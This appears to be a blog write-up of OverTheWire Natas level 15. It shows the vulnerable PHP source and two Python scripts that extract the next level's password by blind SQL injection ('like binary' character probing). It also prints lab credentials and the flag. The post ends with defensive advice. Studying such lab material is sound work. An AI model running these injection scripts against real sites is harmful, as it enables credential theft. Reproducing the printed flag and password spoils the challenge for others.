zoukankan      html  css  js  c++  java
  • Natas Wargame Level 15 Writeup(Content-based Blind SQL Injection)

    sourcecode核心代码:

     1 <?
     2 
     3 /*
     4 CREATE TABLE `users` (
     5   `username` varchar(64) DEFAULT NULL,
     6   `password` varchar(64) DEFAULT NULL
     7 );
     8 */
     9 
    10 if(array_key_exists("username", $_REQUEST)) {
    11     $link = mysql_connect('localhost', 'natas15', '<censored>');
    12     mysql_select_db('natas15', $link);
    13     
    14     $query = "SELECT * from users where username="".$_REQUEST["username"].""";
    15     if(array_key_exists("debug", $_GET)) {
    16         echo "Executing query: $query<br>";
    17     }
    18 
    19     $res = mysql_query($query, $link);
    20     if($res) {
    21     if(mysql_num_rows($res) > 0) {
    22         echo "This user exists.<br>";
    23     } else {
    24         echo "This user doesn't exist.<br>";
    25     }
    26     } else {
    27         echo "Error in query.<br>";
    28     }
    29 
    30     mysql_close($link);
    31 } else {
    32 ?>
    33 
    34 <form action="index.php" method="POST">
    35 Username: <input name="username"><br>
    36 <input type="submit" value="Check existence" />
    37 </form>
    38 <? } ?> 

    sql语句为:SELECT * from users where username="username";
    可以注入,但注入成功后并不能实现什么功能。如果查询“成功”,仅仅会显示This user exists.查询失败:This user doesn't exist.或者“Error in query.”。不能直接显示Natas16的密钥。

    联想到表中可能有名为Natas16的username,经测试为真。所以现在的任务就是获得表中Natas16的password。

    如何才能将输出联系到password?这里仅有的输出只是用户名是否存在,更向上一步的说,是是否能够查询到记录。

    既然select Natas16 是肯定成立的,又因为已知密钥的长度和空间(大小写字母和数字),可以通过and + like逐一探测每一位的密钥。

    以下是python脚本:

     1 import httplib2
     2 from urllib.parse import urlencode
     3 
     4 h = httplib2.Http()
     5 natas15password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
     6 h.add_credentials('natas15', natas15password)
     7 basestr = list(chr(i) for i in range(48, 58))+list(chr(i) for i in range(65, 91))+list(chr(i) for i in range(97, 123))
     8 password = ''
     9 index = 0
    10 headers = {'Content-type': 'application/x-www-form-urlencoded'}
    11 while (len(password) < len(natas15password)):
    12     forms = dict(username= "natas16"" + " and password like binary '" + password + basestr[index] + "%'" + " ;#")
    13     print(forms)
    14     resp, content = h.request('http://natas15.natas.labs.overthewire.org/index.php', 'POST', urlencode(forms), headers)
    15     if ('exists' in str(content)):
    16         password += basestr[index]
    17         print(password)
    18         index = 0
    19         continue
    20     else:
    21         index = (index + 1) % (123-48)
    22         if index == 0:
    23             print('wrong!')
    24         continue
    25 print('password = ', password)

    关于httplib2的说明:http://blog.csdn.net/five3/article/details/7079140

    这里要注意几点:

    1.urlencode已经不在urllib下了,需要使用urllib.parse.urlencode

    2.mysql 查询默认对大小写不敏感,所以如果直接查寻会导致输出全部为大写或者小写。有两个解决方案。一个是使用BINARY将后面要查询的字符串转化为二进制。另 一个是使用COLLATE对指定排序。https://dev.mysql.com/doc/refman/5.7/en/binary- varbinary.html

    3.POST也是先将数据进行URL编码然后发送,所以这里要用到URLencode。URL表参考:http://w3school.com.cn/tags/html_ref_urlencode.html

    4.发送表单的话一定要把headers中的'Content-type': 'application/x-www-form-urlencoded'加上,因为服务器是通过这个判别body中的类型并进行读取的。(以后发现服务器没有读取body要先看看headers设置好没有)

    另外还有一个思路,就是通过题目中留下的debug用GET进行注入与爆破:

     1 import httplib2
     2 from urllib.parse import urlencode
     3 
     4 h = httplib2.Http()
     5 natas15password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
     6 h.add_credentials('natas15', natas15password)
     7 basestr = list(chr(i) for i in range(48, 58))+list(chr(i) for i in range(65, 91))+list(chr(i) for i in range(97, 123))
     8 password = ''
     9 index = 0
    10 while (len(password) < len(natas15password)):
    11     forms = dict(username="natas16"" + " and password like binary '" + password + basestr[index] + "%'" + ";#")
    12     resp, content = h.request('http://natas15.natas.labs.overthewire.org/index.php?debug=1&'+urlencode(forms), 'GET')
    13     if ('exists' in str(content)):
    14         password += basestr[index]
    15         print(password)
    16         index = 0
    17         continue
    18     else:
    19         index = (index + 1) % (123-48)
    20         if index == 0:
    21             print('wrong!')
    22         continue
    23 print('password = ', password)

    这个时候就不需要设置Content-type了

    总结:这个注入和往常的注入不同,往常的注入是通过插入 or 1等唯真式绕过认证。但这里并不是要绕过认证,而是通过注入将password与返回“用户是否存在”这一看起来没有泄露的信息绑定,最终暴力破解出用户密钥。由此可知,对用户返回的信息应当最低化(如返回用户或密码错误),对用户的输入应该做处理(如转义)。debug的时候留下的接口应该及时删除。

    flag=WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

  • 相关阅读:
    UVa 1451 Average (斜率优化)
    POJ 1160 Post Office (四边形不等式优化DP)
    HDU 3507 Print Article (斜率DP)
    LightOJ 1427 Substring Frequency (II) (AC自动机)
    UVa 10245 The Closest Pair Problem (分治)
    POJ 1741 Tree (树分治)
    HDU 3487 Play with Chain (Splay)
    POJ 2828 Buy Tickets (线段树)
    HDU 3723 Delta Wave (高精度+calelan数)
    UVa 1625 Color Length (DP)
  • 原文地址:https://www.cnblogs.com/liqiuhao/p/6853612.html
Copyright © 2011-2022 走看看